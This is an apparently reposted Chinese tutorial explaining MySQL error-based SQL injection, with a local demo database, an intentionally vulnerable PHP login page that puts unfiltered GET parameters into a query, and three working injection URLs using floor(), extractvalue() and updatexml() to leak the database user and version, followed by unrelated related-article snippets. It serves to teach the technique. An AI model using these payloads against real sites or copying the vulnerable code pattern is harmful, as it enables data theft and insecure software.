SQL注入—报错注入

news/2024/6/17 0:40:32 标签: web安全, 网络安全, sql注入

0x00 背景

  SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。

0x01 十种报错注入

  这十种方式在这里不多讲了,详情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平时我们最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。

0x02 报错注入的原理

  为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:

mysql> create database sqli;
mysql> create table user (
        id int(11) not null auto_increment primary key,
        name varchar(20) not null,
        pass varchar(32) not null
    );
    
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

  

  我们先看一个基于floor()的报错SQL语句:

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

  如果是第一次接触报错注入的话,一般会有这么几个问题。

  Q1.floor()函数是什么?

  A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。

  Q2.rand(0)是什么意思?

  A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

  

  我们再测试一下rand(0)的效果

  

  很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下

  

  Q3.为什么会出现报错?

  A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

  

  在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

0x03 案例

  //以下案例代码是抄的

  数据库可以继续使用之前的数据库,我们在Web根目录下建立sqli.php

 1 <?php
 2 $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
 3 if (!$conn) {
 4     die("Connection failed: " . mysql_error());
 5 }
 6 
 7 mysql_select_db("sqli", $conn);
 8 
 9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11     $name = $_GET['name'];
12     $pass = md5($_GET['pass']);
13 
14     $query = "select * from user where name='$name' and pass='$pass'";
15 
16     if ($result = mysql_query($query, $conn)) {
17         $row = mysql_fetch_array($result, MYSQL_ASSOC);
18 
19         if ($row) {
20             echo "<script>alert('login successful!');</script>";
21         }
22     } else {
23         die("Operation error: " . mysql_error());
24     }
25 }
26 
27 mysql_close();
28 ?>
29 
30 <!DOCTYPE html>
31 <html>
32 <head>
33     <title>Login</title>
34 </head>
35 <body>
36 <center>
37     <form method="get" action="">
38         <label>Username:</label><input type="text" name="name" value=""/><br/>
39         <label>Password:</label><input type="password" name="pass" value=""/><br/>
40         <input type="submit" value="login"/>
41     </form>
42 </center>
43 </body>
44 </html>

  在代码的11-14行是登陆验证模块,可以看到程序以GET形式获取了name和pass参数,没有经过任何过滤直接带入了查询语句,这里明显的存在SQL注入漏洞,我们用floor()报错注入进行尝试。

http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123

  我们再分别用updatexml()和extractvalue()分别进行尝试(原理各不相同,但是思路均是认为构造数据库的错误)

http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1

http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1


http://www.niftyadmin.cn/n/419774.html

相关文章

怎么自学电脑编程

首要之首&#xff1a;不要急于选择一种语言 新手们有一个常见的错误就是犹豫于判断哪种编程语言是做好的、最该先学的。 我们有很多的选择&#xff0c;但你不能说那种语言最好。 我们应该理解&#xff1a;说到底&#xff0c;什么语言并不重要。 重要的是理解数据结构、控制逻辑…

华为OD机试真题 JavaScript 实现【快速寻找某字符】【牛客练习题】

一、题目描述 给定一个一个目标值 target和一个 元素升序的无重复数字字符串 &#xff0c;写一个函数搜索 字符串 中的 target&#xff0c;如果目标值存在返回下标&#xff08;下标从 0 开始&#xff09;&#xff0c;否则返回 -1。 二、输入描述 第一行输入一个目标值target…

图论算法 --Dijkstra

当谈到计算机科学时&#xff0c;算法是一个重要的话题&#xff0c;因为它们能帮助解决很多问题。而有些算法&#xff0c;其高效性和惊人表现&#xff0c;令人感到惊艳。一起来分享一下你认为令人惊艳的高效算法吧&#xff01; Dijkstra算法 一、你在工作和学习中用到过哪些惊艳…

人工蜂群算法(Artificial Bee Colony (ABC) Algorithm,附简单案例及详细matlab源码)

作者&#xff1a;非妃是公主 专栏&#xff1a;《智能优化算法》 博客地址&#xff1a;https://blog.csdn.net/myf_666 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录 专栏推荐一、人工蜂群算法二、伪代码三…

彻底关闭 Win10 系统自动更新【四大步骤】

Windows 10 的自动更新非常顽固&#xff0c;多用户在网上试了各种关闭win10自动更新的方法&#xff0c;刚开始看着好像是关闭更新了&#xff0c;可没过多久系统就又开始自动更新了。今天笔者就来教大家如何彻底关闭win10自动更新&#xff0c;该方法亲测有效。 一、禁用 Window…

v-if和v-show与v-if和v-for之间的优先级问题

v-if和v-show之间的优先级问题 关于这个问题&#xff0c;我们首先需要知道的是v-if和v-show都是如何工作的&#xff0c;只有深入了解了两者的运行原理&#xff0c;才能正确的认识到他们之间的优先级问题。 v-if的工作原理 v-if当且仅当初次渲染和数据发生变化时才起效&#…

数字图像处理与Python实现-图像增强经典算法汇总

图像增强经典算法汇总 文章目录 图像增强经典算法汇总1、像素变换2、图像逆变换3、幂律变换4、对数变换5、图像均衡化6、对比度受限自适应直方图均衡(CLAHE)7、对比度拉伸8、Sigmoid校正9、局部对比度归一化10、总结本文将对图像增强经典算法做一个简单的汇总。图像增强的经典…

【Python小技巧】更换python版本解决了plt.show()不显示图像的问题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、df.plot() 显示不出图像&#xff1f;二、换个python版本问题解决总结 前言 from matplotlib import pyplot as plt kdata.plot(xtrade_time, y[close,BOLL…